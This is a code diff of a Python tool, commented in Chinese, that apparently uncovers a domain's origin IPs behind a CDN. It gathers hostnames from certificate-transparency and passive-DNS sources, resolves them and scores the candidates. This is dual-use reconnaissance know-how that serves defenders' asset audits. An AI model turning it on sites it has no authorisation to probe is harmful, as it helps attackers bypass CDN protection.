240
|
+
_err("[CT] %-12s 失败,跳过: %s" % (src, str(e)[:80]))
|
|
241
|
+
continue
|
|
242
|
+
status[src] = len(h) + (len(ip) and len(ip) or 0) * 0 # 仅主机数用于展示
|
|
243
|
+
for n in h:
|
|
244
|
+
if n not in seen and len(hosts) < max_hosts:
|
|
245
|
+
seen.add(n)
|
|
246
|
+
hosts.append(n)
|
|
247
|
+
for ipv in ip:
|
|
248
|
+
if ipv not in ips:
|
|
249
|
+
ips.append(ipv)
|
|
250
|
+
_err("[CT] %-12s %d 主机%s" % (src, len(h), (" / %d IP" % len(ip)) if ip else ""))
|
|
251
|
+
except concurrent.futures.TimeoutError:
|
|
252
|
+
status["_budget"] = "总预算 %.0fs 超时(返回部分)" % budget
|
|
253
|
+
_err("[CT] 总预算 %.0fs 到期,使用已返回的 %d 个主机" % (budget, len(hosts)))
|
|
254
|
+
finally:
|
|
255
|
+
ex.shutdown(wait=False, cancel_futures=True)
|
|
256
|
+
return hosts, ips, status
|
|
257
|
+
|
|
258
|
+
|
|
116
259
|
def cdn_markers(headers):
|
|
117
260
|
return [h for h in CDN_HEADERS if h in headers]
|
|
118
261
|
|
|
@@ -213,14 +356,19 @@ def score_candidate(base, cand):
|
|
|
213
356
|
return score, reasons
|
|
214
357
|
|
|
215
358
|
|
|
216
|
-
def collect_candidates(domain, max_candidates=40, timeout=8.0, use_ct=True
|
|
217
|
-
|
|
359
|
+
def collect_candidates(domain, max_candidates=40, timeout=8.0, use_ct=True,
|
|
360
|
+
ct_sources=None, max_ct=80, ct_budget=0.0):
|
|
361
|
+
"""收集候选 (name, ip, sources):漏质子域 + 多源 CT/被动 DNS。"""
|
|
218
362
|
names = ["www." + domain, domain] + ["%s.%s" % (s, domain) for s in SUBS]
|
|
363
|
+
passive_ips = []
|
|
219
364
|
if use_ct:
|
|
220
|
-
ct =
|
|
365
|
+
ct, passive_ips, _status = fetch_passive_names(
|
|
366
|
+
domain, timeout, sources=ct_sources, max_hosts=max_ct, budget=ct_budget)
|
|
221
367
|
if ct:
|
|
222
|
-
_err("[CT]
|
|
368
|
+
_err("[CT] 合计 %d 个主机名" % len(ct))
|
|
223
369
|
names.extend(ct)
|
|
370
|
+
if passive_ips:
|
|
371
|
+
_err("[被动DNS] 合计 %d 个 IP 并入候选" % len(passive_ips))
|
|
224
372
|
uniq, seen = [], set()
|
|
225
373
|
for n in names:
|
|
226
374
|
n = n.strip().lower().rstrip(".")
|
|
@@ -234,11 +382,13 @@ def collect_candidates(domain, max_candidates=40, timeout=8.0, use_ct=True):
|
|
|
234
382
|
return name, doh_resolve(name, timeout)
|
|
235
383
|
|
|
236
384
|
by_ip = {}
|
|
237
|
-
with concurrent.futures.ThreadPoolExecutor(max_workers=8) as ex:
|
|
385
|
+
with concurrent.futures.ThreadPoolExecutor(max_workers=(4 if ISH else 8)) as ex:
|
|
238
386
|
for name, pairs in ex.map(one, uniq):
|
|
239
387
|
for ip, src in pairs:
|
|
240
388
|
srcs = by_ip.setdefault(ip, {"ips": set(), "sources": set()})
|
|
241
389
|
srcs["sources"].add(name)
|
|
390
|
+
for ip in passive_ips:
|
|
391
|
+
by_ip.setdefault(ip, {"ips": set(), "sources": set()})["sources"].add("passive-dns")
|
|
242
392
|
return by_ip
|
|
243
393
|
|
|
244
394
|
|
|
@@ -246,6 +396,7 @@ def main(argv=None):
|
|
|
246
396
|
args = list(sys.argv[1:] if argv is None else argv)
|
|
247
397
|
domains, as_json, no_verify, no_ct = [], False, False, False
|
|
248
398
|
max_c, timeout, budget = 40, 8.0, 120.0
|
|
399
|
+
ct_sources, max_ct, ct_budget = None, 80, 0.0
|
|
249
400
|
i = 0
|
|
250
401
|
while i < len(args):
|
|
251
402
|
a = args[i]
|
|
@@ -255,7 +406,7 @@ def main(argv=None):
|
|
|
255
406
|
no_verify = True
|
|
256
407
|
elif a == "--no-ct":
|
|
257
408
|
no_ct = True
|
|
258
|
-
elif a in ("--max-candidates", "--timeout", "--budget"):
|
|
409
|
+
elif a in ("--max-candidates", "--timeout", "--budget", "--max-ct", "--ct-budget", "--ct-sources"):
|
|
259
410
|
if i + 1 >= len(args):
|
|
260
411
|
_err("%s 缺少取值" % a)
|
|
261
412
|
return 2
|
|
@@ -264,6 +415,20 @@ def main(argv=None):
|
|
|
264
415
|
max_c = max(1, int(args[i + 1]))
|
|
265
416
|
elif a == "--budget":
|
|
266
417
|
budget = max(10.0, float(args[i + 1]))
|
|
418
|
+
elif a == "--max-ct":
|
|
419
|
+
max_ct = max(1, int(args[i + 1]))
|
|
420
|
+
elif a == "--ct-budget":
|
|
421
|
+
ct_budget = max(3.0, float(args[i + 1]))
|
|
422
|
+
elif a == "--ct-sources":
|
|
423
|
+
val = args[i + 1].strip()
|
|
424
|
+
if val.lower() == "all":
|
|
425
|
+
ct_sources = None
|
|
426
|
+
else:
|
|
427
|
+
picked = [x.strip() for x in val.split(",") if x.strip()]
|
|
428
|
+
if not picked or any(x not in CT_SOURCES for x in picked):
|
|
429
|
+
_err("--ct-sources 取值非法(可选: %s 或 all)" % ",".join(CT_SOURCES))
|
|
430
|
+
return 2
|
|
431
|
+
ct_sources = picked
|
|
267
432
|
else:
|
|
268
433
|
timeout = max(1.0, min(float(args[i + 1]), 30.0))
|
|
269
434
|
except (TypeError, ValueError):
|
|
@@ -301,7 +466,8 @@ def main(argv=None):
|
|
|
301
466
|
except Exception as e:
|
|
302
467
|
_err("[基线] 探测失败: %s(继续)" % e)
|
|
303
468
|
|
|
304
|
-
by_ip = collect_candidates(domain, max_c, timeout, use_ct=not no_ct
|
|
469
|
+
by_ip = collect_candidates(domain, max_c, timeout, use_ct=not no_ct,
|
|
470
|
+
ct_sources=ct_sources, max_ct=max_ct, ct_budget=ct_budget)
|
|
305
471
|
for ip in real_root: # 根 IP 纳入候选
|
|
306
472
|
by_ip.setdefault(ip, {"sources": set()})["sources"].add(domain)
|
|
307
473
|
|